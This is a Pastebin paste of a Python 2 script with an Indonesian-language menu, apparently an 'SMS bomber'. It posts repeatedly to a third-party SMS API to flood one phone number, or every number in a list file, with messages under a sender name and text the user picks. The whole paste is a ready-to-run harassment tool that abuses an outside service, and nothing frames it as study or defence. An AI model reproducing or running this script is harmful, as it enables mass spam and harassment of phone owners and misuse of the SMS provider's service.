Advertisement
Guest User

BOM SUPER DUBER [PBM]

a guest
Jul 23rd, 2018
79
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.76 KB | None | 0 0
  1. import requests
  2. from os import system
  3.  
  4. def banner():
  5.     system("clear")
  6.     print "LINK SMS BY K3COT"
  7.     print "PYTHON By QIUBY ZHUKHI"
  8.     print """
  9.    _______  ______   _______
  10.    (  ____ )(  ___ \ (       )
  11.    | (    )|| (   ) )| () () |
  12.    | (____)|| (__/ / | || || |
  13.    |  _____)|  __ (  | |(_)| |
  14.    | (      | (  \ \ | |   | |
  15.    | )      | )___) )| )   ( |
  16.    |/       |/ \___/ |/     \|
  17.                              
  18.    _________ _______  _______  _______
  19.    \__   __/(  ____ \(  ___  )(       )
  20.       ) (   | (    \/| (   ) || () () |
  21.       | |   | (__    | (___) || || || |
  22.       | |   |  __)   |  ___  || |(_)| |
  23.       | |   | (      | (   ) || |   | |
  24.       | |   | (____/\| )   ( || )   ( |
  25.       )_(   (_______/|/     \||/     \|
  26.  
  27.    """
  28.  
  29. class Bomsms(object):
  30.     def __init__(self, msisdn, name, isi):
  31.         self.msisdn = msisdn
  32.         if self.msisdn[0] == "+":
  33.             self.msisdn = msisdn.replace("+","")
  34.         elif self.msisdn[0] == "0":
  35.             self.msisdn = msisdn[0].replace("0","62") + msisdn[1::]
  36.         self.url = "http://tools.melon-service.com/api/mynsp/sms6161.php"
  37.         self.name = name
  38.         self.isi = isi
  39.         self.kirim = requests.session()
  40.         self.data = {"msisdn":msisdn,
  41.                      "aliase":name+" Ganteng",
  42.                      "msg_type":"revenue",
  43.                      "nmbank":name,
  44.                      "rekbank":"."+isi      
  45.                      }
  46.     def start(self):
  47.         print "Nomor: %s" % self.msisdn
  48.         self.kirim.post(self.url, data = self.data).text
  49. #Overriding class
  50. class flood(Bomsms):
  51.     def __init__(self, msisdn, name, isi):
  52.         Bomsms.__init__(self, msisdn, name, isi)    
  53.     def nangid(self, jml=0):
  54.         for i in range(0,int(jml)):
  55.             self.start()
  56. def phone_list(f):
  57.     pon_buk = []
  58.     with open(f) as phone_book:
  59.         for book in phone_book.readlines():
  60.             pon_buk.append(book.split("\n")[0])
  61.     return pon_buk
  62. def ops():
  63.     while True:
  64.         try:
  65.             nama = raw_input("Namamu: ")
  66.             isi = raw_input("Teks: ")
  67.             jumlah = int(raw_input("Jumlah Flood: "))
  68.             print "[+] ------- [ MENU ] ------- [+]"
  69.             print "[1] Single Target\n[2] Multi Target List"
  70.             print "[+] -------------------------[+]"
  71.             opsi = int(raw_input("Masukkan Pilihan: "))            
  72.             print "[?] Nomor HP awalan +62, 62 atau 08 [?]\n"
  73.             if opsi == 1:
  74.                 no = raw_input("NO HANDPHONE: : ")        
  75.                 flood(no, nama, isi).nangid(jumlah)
  76.      
  77.             elif opsi == 2:
  78.                 files = raw_input("Masukkan file path *.txt: ")
  79.                 #files = "/storage/emulated/0/a/video/no.txt"
  80.                 print "[+] --- [ MENU MULTI TARGET ] --- [+]"
  81.                 print "[1] SEND KEBANYAK\n[2] FLOOD LEBANYAK"
  82.                 print "[+] ----------------------------- [+]"
  83.                 ops2 = raw_input("Pilihan: ")
  84.                 if ops2 == "1":
  85.                     print "[+] SEND KEBANYAK [+]"
  86.                     for number in phone_list(files):
  87.                         flood(number,nama,isi).start()
  88.                 elif ops2 == "2":
  89.                     print "[+] FLOOD KEBANYAK [+]"
  90.                     for number in phone_list(files):
  91.                         print "[+] ", number
  92.                         flood(number,nama, isi).nangid(jumlah)
  93.                 else:
  94.                     print "[!] Nomor Yang di pilih tidak ada [!]"
  95.             else:
  96.                 print "[!] Masukkan No dengan Bennar [!]"
  97.                 continue
  98.         except ValueError:
  99.             print "[!] BUKAN NOMOR [!]"
  100.             continue
  101.         break
  102. if __name__ == "__main__":
  103.     banner()
  104.     ops()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement